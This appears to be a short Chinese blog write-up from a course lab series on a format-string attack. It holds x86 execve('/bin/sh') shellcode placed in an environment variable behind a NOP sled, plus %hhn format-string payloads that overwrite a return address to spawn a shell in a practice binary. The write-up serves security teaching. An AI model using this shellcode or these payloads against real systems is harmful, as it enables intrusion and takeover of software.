Format String

设置环境变量

perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode1.bin

export SHELLCODE=`perl -e 'print "\x90"x100;'``cat shellcode1.bin`

查看环境变量存储位置

2

之后编译并且运行get_env,查看环境变量所在位置

1

利用格式化字符 %hhn 逐字节修改返回地址为 0xffffd7a4

./fmt_str `printf "\x10\x34\xff\xff\x11\x34\xff\xff\x12\x34\xff\xff\x13\x34\xff\xff"`%3\$148x%4\$hhn%3\$51x%5\$hhn%3\$40x%6\$hhn%7\$hhn

3

可以得到 text 的地址为 0xffffd130 ,因此返回地址所在的地址为 0xffffd130 + 0x40c = 0xffffd53c

之后构造payload

./fmt_str `printf "\x3c\xd5\xff\xff\x3d\xd5\xff\xff\x3e\xd5\xff\xff\x3f\xd5\xff\xff"`%3\$148x%4\$hhn%3\$51x%5\$hhn%3\$40x%6\$hhn%7\$hhn

4


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

安全攻防综合实验8 上一篇
安全攻防综合实验六 下一篇